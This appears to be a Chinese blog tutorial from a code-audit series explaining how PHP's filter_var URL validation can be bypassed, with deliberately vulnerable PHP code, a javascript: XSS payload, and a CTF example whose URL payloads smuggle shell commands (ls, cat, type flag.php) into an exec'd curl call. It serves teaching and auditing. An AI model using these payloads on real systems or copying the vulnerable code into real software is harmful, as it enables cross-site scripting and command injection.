• [代码审计Day2] filter_var函数缺陷代码审计


     简介

    // composer require "twig/twig"
    require 'vendor/autoload.php';
    
    class Template {
      private $twig;
    
      public function __construct() {
        $indexTemplate = '<img ' .
          'src="https://loremflickr.com/320/240">' .
          '<a href="{{link|escape}}">Next slide &raquo;</a>';
    
        // Default twig setup, simulate loading
        // index.html file from disk
        $loader = new TwigLoaderArrayLoader([
          'index.html' => $indexTemplate
        ]);
        $this->twig = new TwigEnvironment($loader);
      }
    
      public function getNexSlideUrl() {
        $nextSlide = $_GET['nextSlide'];
        return filter_var($nextSlide, FILTER_VALIDATE_URL);
      }
    
      public function render() {
        echo $this->twig->render(
          'index.html',
          ['link' => $this->getNexSlideUrl()]
        );
      }
    }
    
    (new Template())->render();

    filter_var() 函数通过指定的过滤器过滤变量。

    filter_var(variable, filter, options)

     variable 必需。规定要过滤的变量。

      filter 可选。规定要使用的过滤器的 ID。

      options 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。

    FILTER_VALIDATE_URL 过滤器把值作为 URL 进行验证。

    eg:

    <? 
    $url=filter_var($_GET['url'],FILTER_VALIDATE_URL);
     var_dump($url);
     echo '<br>';
     $url=htmlspecialchars($url);
     var_dump($url);
     echo "<a href='$url'>Next slide</a>"
     ?>

    payload:

    ?url=javascript://comment%250aalert(1);

    在JS中//表示单行注释 所以后面的内容均为注释内容  %25是%的url编码 %0a是换行字符的url编码,

    因为换行了后面的alert(1)就不在同一行了也不在注释的范围之内了 所以就能执行了 

    在执行过程中将浏览器发来的payload:javascript://comment%250aalert(1) 先解码成: javascript://comment%0aalert(1) 存储在变量 $url中 

    然后用户点击链接就会触发弹窗!

     简介

    1

     CTF例题

    代码1

    // index.php
    <?php 
    $url = $_GET['url'];
    if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
        $site_info = parse_url($url);
        if(preg_match('/sec-redclub.com$/',$site_info['host'])){
            exec('curl "'.$site_info['host'].'"', $result);
            echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
                  <center><textarea rows='20' cols='90'>";
            echo implode(' ', $result);
        }
        else{
            die("<center><h1>Error: Host not allowed</h1></center>");
        }
    
    }
    else{
        echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
              <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
    }
    
    ?>
    View Code

     代码2

    // flag.php
    <?php  
    $flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
    ?>
    View Code

    windows环境下payload:

    http://127.0.0.1/test.php?url=test://"|type=flag.php;sec-redclub.com

    linux环境下payload

    http://192.168.52.129:6666/index.php?url=test://"|ls;"sec-redclub.com
    
    http://192.168.52.129:6666/index.php?url=test://"|cat<>ls;"sec-redclub.com

     简介

    11

    ------------恢复内容结束------------

  • 相关阅读:
    final,finally和finalize三者的区别和联系
    Java程序开发中的简单内存分析
    Java堆、栈和常量池以及相关String的详细讲解(经典中的经典)
    java中的基本数据类型一定存储在栈中吗?
    CDN加速-内容分发网络
    大型Java web项目分布式架构演进-分布式部署
    阿里面试-2019
    jvm调优-从eclipse开始
    eclipse中导入maven项目:org.apache.maven.archiver.MavenArchiver.getManifest(org.apache.maven.project.Maven
    图解 CMS 垃圾回收机制原理,-阿里面试题
  • 原文地址:https://www.cnblogs.com/xhds/p/12660713.html
Copyright © 2020-2023  润新知